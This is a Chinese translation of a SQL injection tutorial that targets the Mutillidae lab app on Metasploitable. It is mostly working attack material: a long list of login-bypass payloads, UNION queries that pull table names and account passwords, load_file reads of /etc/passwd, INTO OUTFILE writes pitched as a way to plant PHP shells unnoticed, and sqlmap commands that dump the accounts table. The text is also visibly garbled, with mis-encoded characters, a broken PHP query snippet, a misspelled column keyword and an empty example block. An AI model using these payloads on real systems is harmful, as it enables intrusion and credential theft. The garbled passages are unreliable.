0x00前言
SQL注入是一種注入攻擊,可以執(zhí)行惡意SQL語句。這些語句控制Web應(yīng)用程序后面的數(shù)據(jù)庫服務(wù)器。攻擊者可以利用SQL 注入漏洞規(guī)避應(yīng)用程序安全性方面的努力。他們可以繞過頁面或Web應(yīng)用程序的身份驗(yàn)證和授權(quán),并恢復(fù)整個(gè)SQL數(shù)據(jù)庫的內(nèi)容。他們同樣可以利用SQL注入來包含,更改和擦除數(shù)據(jù)庫中的記錄。SQL注入漏洞可能會(huì)影響使用SQL數(shù)據(jù)庫的任何站點(diǎn)或Web應(yīng)用程序,例如MySQL,Oracle,MSSQL或其他。攻擊者可能會(huì)利用它來增加對(duì)您的敏感信息,客戶數(shù)據(jù),商業(yè)秘密,許可創(chuàng)新的未經(jīng)許可的訪問,而這僅僅是冰山一角。
而由于sql注入漏洞得利用有些廣泛,因此我們將無法提及SQL注入的所有細(xì)節(jié),而是從基礎(chǔ)知識(shí)開始對(duì)其中的一些內(nèi)容進(jìn)行說明。為此,我們將使用metasploitable的Mutillidae Web應(yīng)用程序,該Web應(yīng)用程序僅出于演示目的容易受到SQL 注入攻擊。

選擇“ Mutillidae”鏈接,然后轉(zhuǎn)到“登錄/注冊”選項(xiàng)卡并注冊以創(chuàng)建一個(gè)帳戶。

提供必要的信息,然后單擊“創(chuàng)建帳戶”按鈕。

現(xiàn)在,讓我們使用一些SQL注入技術(shù)來繞過登錄頁面,本教程介紹了攻擊者可以用來破壞登錄表單的不同方法。
0x01 在POST字段中發(fā)現(xiàn)SQL注入
我們將在示例中使用的登錄結(jié)構(gòu)非常簡單。它包含兩個(gè)易受攻擊的輸入字段(用戶名和密碼)。后端內(nèi)容創(chuàng)建查詢以批準(zhǔn)客戶端提供的用戶名和密鑰。以下是頁面基本原理的概述:
?
_ POST [username]'AND password ='$_POST[password]'";
為了避開登錄和訪問受限區(qū)域,攻擊者需要構(gòu)建一個(gè)SQL部分,該部分將更改“ WHERE”子句并將其設(shè)為true。例如,隨附的登錄數(shù)據(jù)將通過濫用password參數(shù)中存在的弱點(diǎn)來提供對(duì)攻擊者的訪問權(quán)限。對(duì)于用戶名,請輸入“ john.doe”或“ anything”,對(duì)于密碼,請輸入“ anything” or“ 1” ='1)或(admin(or'1'='1),然后嘗試登錄,然后您將顯示一個(gè)管理員登錄頁面。


讓我們看一下生成的查詢:
?
SELECT * FROM users,其中username ='john.doe'AND password ='anything'or'1'='1'
由于操作員的優(yōu)先權(quán),“and”條件將首先評(píng)估。
然后評(píng)估“ OR”運(yùn)算符,使“ WHERE”語句為真。該條件對(duì)“users”表的所有行均有效。這意味著將忽略給定的用戶名,并且攻擊者將以“users”表中的主要用戶身份登錄。此外,這意味著攻擊者無需知道用戶名即可訪問框架。查詢將為他發(fā)現(xiàn)一個(gè)!
在這些簡單的示例中,我們已經(jīng)看到入侵者可以回避使用SQL注入的身份驗(yàn)證系統(tǒng)。在不限制可能造成的災(zāi)難性后果的情況下,必須提到的是,SQL注入比登錄繞過具有更大的安全影響。以下是OWASP成員Emin Islam Tatlilf博士創(chuàng)建的命令列表,這些命令可用于SQL注入身份驗(yàn)證旁路。
?
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin’--
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1'--
admin’ or ‘1’=’1'#
admin’ or ‘1’=’1'/*
admin’or 1=1 or ‘’=’
admin’ or 1=1
admin’ or 1=1--
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1'--
admin’) or (‘1’=’1'#
admin’) or (‘1’=’1'/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1'--
admin’) or ‘1’=’1'#
admin’) or ‘1’=’1'/*
1234 ‘ AND 1=0 UNION ALL SELECT ‘a(chǎn)dmin’, ‘81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin” #
admin”/*
admin” or “1”=“1
admin” or “1”=“1”--
admin” or “1”=“1”#
admin” or “1”=“1”/*
admin” or 1=1 or ““=“
admin” or 1=1
admin” or 1=1--
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1”=“1
admin”) or (“1”=“1”--
admin”) or (“1”=“1”#
admin”) or (“1”=“1”/*
admin”) or “1”=“1
admin”) or “1”=“1”--
admin”) or “1”=“1”#
admin”) or “1”=“1”/*
1234 “ AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055
0x02 繞過登錄字段
在此示例中,我們將僅定位用戶名字段并嘗試獲得訪問權(quán)限。用戶名字段也很容易受到攻擊,同樣也可能被濫用來訪問框架。攻擊者繞過身份驗(yàn)證的要求不高,而且逐漸變得常識(shí),因?yàn)樗梢赃x擇他可能想要登錄的用戶記錄。
這是SQL注入攻擊的外觀。將(admin'#)或(admin'--)放在用戶名字段中,然后按“ Enter”登錄。我們使用“?!被颉?-”來注釋用戶名后告訴查詢語句的所有內(nèi)容忽略密碼字段的數(shù)據(jù)庫:(選擇*來自用戶,其中username ='admin'#AND password ='')。通過使用行注釋,攻擊者可以消除部分登錄條件并獲得訪問權(quán)限。這項(xiàng)技術(shù)將使“ WHERE”子句僅對(duì)一個(gè)用戶成立。在這種情況下,它是“管理員”。


0x03 基于聯(lián)合的SQL注入
基于UNION的SQL注入攻擊使分析儀可以有效地從數(shù)據(jù)庫中提取數(shù)據(jù)。由于如果兩個(gè)查詢的結(jié)構(gòu)完全相同,則必須使用“ UNION”運(yùn)算符,因此攻擊者必須像第一個(gè)查詢一樣編寫“ SELECT”語句。為此,必須知道一個(gè)實(shí)質(zhì)性的表名,但是決定第一個(gè)查詢中的列數(shù)及其信息類型同樣至關(guān)重要。
在本教程中,我們將使用Mutillidae 的“用戶信息”頁面執(zhí)行基于聯(lián)合的SQL注入攻擊。轉(zhuǎn)到“ OWASP Top 10 / A1 —注入/ SQLi —提取數(shù)據(jù)/用戶信息”,并使用在我們上面學(xué)習(xí)的登錄繞過技術(shù)來訪問該頁面。


我們所有的攻擊媒介都將使用基于聯(lián)合的技術(shù)在頁面的URL部分中執(zhí)行。
有兩種不同的方法來發(fā)現(xiàn)原始查詢選擇了多少列。首先是注入“ ORDER BY”語句以查詢列號(hào)。給定指定的列數(shù)大于“ SELECT”語句中的列數(shù),將返回錯(cuò)誤。否則,結(jié)果將按提到的列進(jìn)行排序。

由于我們不知道列數(shù),因此我們從100開始。使用二分法,要找到確切的列數(shù),請減少列數(shù),直到返回與“ ORDER BY”子句相關(guān)的錯(cuò)誤為止。在此示例中,我們將其減少到6列并收到一條錯(cuò)誤消息,因此這意味著列數(shù)少于6。

當(dāng)我們輸入5列是,它可以工作并顯示一些信息。這意味著我們可以使用5列。
接下來,而是采用 了“order by”選項(xiàng),讓我們使用“union select”選項(xiàng),并提供所有5列。例如:
?
union select 1,2,3,4,5

如上圖中所示,第2、3和4列顯示出來了可用,因此我們可以將這些數(shù)字替換為任何數(shù)據(jù)庫值以查看它們對(duì)應(yīng)的含義。讓我們將第2列更改為“ database()”,將第 3列更改為“ user()”,將第4列更改為“ version()”。
例如:
?
union select 1,database(),user(),version(),5

這個(gè)聯(lián)合命令為我們提供了一些有用的信息。現(xiàn)在,我們知道數(shù)據(jù)庫為“ owasp10”,其用戶為“ root@localhost”,服務(wù)器的版本為“ 5.0.51a-3ubuntu5”。根據(jù)這些信息,我們可以搜索一些漏洞或exp,以進(jìn)一步破壞目標(biāo)。
0x04 查找數(shù)據(jù)庫表
在構(gòu)建查詢數(shù)據(jù)庫以提取敏感數(shù)據(jù)之前,攻擊者必須認(rèn)識(shí)到他需要提取哪些信息以及該信息在數(shù)據(jù)庫中的存儲(chǔ)位置。首先,必須意識(shí)到您很可能查看數(shù)據(jù)庫用戶有權(quán)訪問的表。換句話說,您的會(huì)話客戶端很可能會(huì)聲明或已向客戶端授予一定授權(quán)的概要表。其他所有表似乎都不存在。
在MySQL中,表“ information_schema.tables”包含用表項(xiàng)標(biāo)識(shí)的所有元數(shù)據(jù)。下面列出了此表上最有用的信息。
“ table_name”:表的名稱。
“ table_schema”:表模式名。
如果要限制返回到當(dāng)前模式的表的列表,則可以添加“ WHERE”子句以結(jié)合“ DATABASE()”和“ SCHEMA()”函數(shù)來過濾此列。
例如:
?
union select 1,table_name,null,null,5 from information_schema.tables where table_schema = ‘owasp10’
在這里,我們要從“ owasp 10”數(shù)據(jù)庫中檢索表名

如上圖所見,我們可以訪問多個(gè)名為“accounts(賬號(hào))”,“ blogs_table”,“ captured_data”,“ credit_cards”,“ hitlog ”和“ pen_test_tools”的表。
0x05提取敏感數(shù)據(jù),例如密碼
當(dāng)攻擊者知道表名時(shí),他需要發(fā)現(xiàn)提取數(shù)據(jù)的列名。在MySQL中,表“ information_schema.columns”提供有關(guān)表中列的數(shù)據(jù)。要提取的最有用的列之一稱為“ column_name”?!?/p>
例如:
?
union select 1,colunm_name,null,null,5 from information_schema.columns where table_name = ‘a(chǎn)ccounts’
在這里,我們嘗試從“帳戶”表中提取列名稱。

一旦發(fā)現(xiàn)所有可用的列名,我們就可以通過在查詢語句中添加這些列名來從中提取信息。
例如:
?
union select 1,username,password,is_admin,5 from accounts

如上圖所示,我們設(shè)法檢索了與此數(shù)據(jù)庫相關(guān)的所有用戶名和密碼。
0x06 在Web服務(wù)器上讀寫文件
在本小節(jié)內(nèi)容中,我將告訴您訪問目標(biāo)計(jì)算機(jī)上文檔的最佳方法,就像如何將自己的文件和代碼傳輸?shù)侥繕?biāo)計(jì)算機(jī)上一樣,而無需踏入目標(biāo)網(wǎng)站的管理面板。
我們可以使用“ LOAD_FILE()函數(shù)”運(yùn)算符細(xì)讀網(wǎng)絡(luò)服務(wù)器中包含的任何文件的內(nèi)容。通常,我們將檢查“ / etc / password”文件,以查看是否能幸運(yùn)地獲得用戶名和密碼,以便以后在爆破攻擊中使用。
例:
?
union select null,load_file(‘/etc/passwd’),null,null,null

我們將利用“ INTO_OUTFILE()”函數(shù)為它們提供的所有運(yùn)算符,并嘗試通過SQL注入傳輸外層代碼來嘗試建立目標(biāo)服務(wù)器的根目錄。請記住,這樣做的一般目的是告訴您最佳方法,而不會(huì)被管理員面板抓住。這種替代方法使您可以從一列中獲取內(nèi)容,并在整潔的文本文件中發(fā)現(xiàn)它們,以保持整潔。您還可以利用它來傳輸PHPShell代碼以執(zhí)行遠(yuǎn)程文件包含或CMD執(zhí)行。
例:
?
union select null,’Hello World!’,null,null,null into outfile ‘/tmp/hello.txt’
在此示例中,我們將編寫“ Hello World!”。句子并將其作為“ hello.txt”文件輸出到“ / tmp /”目錄中。這個(gè)“ Hello World!” 可以用您要在目標(biāo)服務(wù)器中執(zhí)行的任何PHP Shell代碼替換該語句。

如上圖中所示,我們成功添加了文本并將其保存為“ hello.txt”文件在“ / tmp”目錄中。
0x07 使用SQLmap發(fā)現(xiàn)SQL注入并提取數(shù)據(jù)
Sqlmap是最主流和突破性的SQL注入自動(dòng)化工具中的佼佼者。給定一個(gè)易受攻擊的HTTP URL請求,sqlmap可以濫用遠(yuǎn)程數(shù)據(jù)庫并完成大量黑客操作,例如刪除數(shù)據(jù)庫名稱,表,列,表中的所有數(shù)據(jù),等等。它甚至可以在特定條件下在遠(yuǎn)程文件系統(tǒng)上讀寫文檔。
不熟悉sqlmap時(shí),可能會(huì)很棘手。此sqlmap教學(xué)練習(xí)旨在以生動(dòng),基本的方式展示此主流SQL注入設(shè)備的最重要功能。
要啟動(dòng)sqlmap并列出所有可用選項(xiàng),請鍵入“ sqlmap --help”。它將提供您需要了解的所有內(nèi)容以及一些在實(shí)踐中如何使用它的示例。讓我們更仔細(xì)地看一下這個(gè)工具。

轉(zhuǎn)到Mutillidae登錄頁面,輸入一些錯(cuò)誤的憑據(jù),然后按“ Enter”以生成流量并創(chuàng)建URL GET參數(shù)。

然后復(fù)制URL鏈接,并在sqlmap工具中使用它。
例:
?
這里的“ -u”代表您要執(zhí)行SQL注入攻擊 的 目標(biāo)URL。要跳過特定于其他DBMS的測試有效負(fù)載,請輸入“ Y”。

在搜索的幾分鐘內(nèi),sqlmap已經(jīng)發(fā)現(xiàn)用戶名是可注入的并且容易受到攻擊,如屏幕截圖所示。

如果要查找更多漏洞,只需讓該過程運(yùn)行到最后,它就可以找到所有可用漏洞。對(duì)于演示,我們將按“ Crtl + C”在此處停止。
在此sqlmap教程中,有關(guān)提取數(shù)據(jù)的事情確實(shí)令人著迷。從SQL注入點(diǎn)恢復(fù)存儲(chǔ)在數(shù)據(jù)庫中的信息是一項(xiàng)艱巨的任務(wù),尤其是當(dāng)沒有結(jié)果直接返回到易受攻擊的網(wǎng)頁中時(shí)。幸運(yùn)的是,使用sqlmap可使分析儀提取寶貴的數(shù)據(jù)片段,而無須手工操作。首先,讓我們使用類似的命令來提取要嘗試破解的網(wǎng)站上所有可用的數(shù)據(jù)庫,但最后,為數(shù)據(jù)庫添加“ --dbs”選項(xiàng)。
例:
?
sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --dbs

qlmap提取了所有可用的數(shù)據(jù)庫。要注入更多的SQL查詢,我們需要使用相同的命令來了解當(dāng)前數(shù)據(jù)庫,但將最后一個(gè)參數(shù)替換為“ --current-db”。
例:
?
sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --current-db
此命令的輸出顯示我們位于“ owasp10”數(shù)據(jù)庫中。

現(xiàn)在,使用命令“ --tables –D owasp10”來查看數(shù)據(jù)庫“ owasp10”的所有可用表。
例:
?
sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --tables –D owasp10
如下圖所示,我們設(shè)法提取了數(shù)據(jù)庫“ owasp10”的所有可用表。

sqlmap還可以通過實(shí)現(xiàn)參數(shù)“ --columns -T [table_name]”來枚舉列。
例:
?
sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details --columns -T accounts

黑客甚至有可能轉(zhuǎn)儲(chǔ)整個(gè)表或數(shù)據(jù)庫,并使用選項(xiàng)“ --dump”列出所有有價(jià)值的信息。
例:
?
sqlmap –u http://10.10.10.7/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details — columns -T accounts --dump

翻譯至medium.com
免責(zé)申明:本文由互聯(lián)網(wǎng)整理翻譯而來,僅供個(gè)人學(xué)習(xí)參考,如有侵權(quán),請聯(lián)系我們,告知?jiǎng)h除。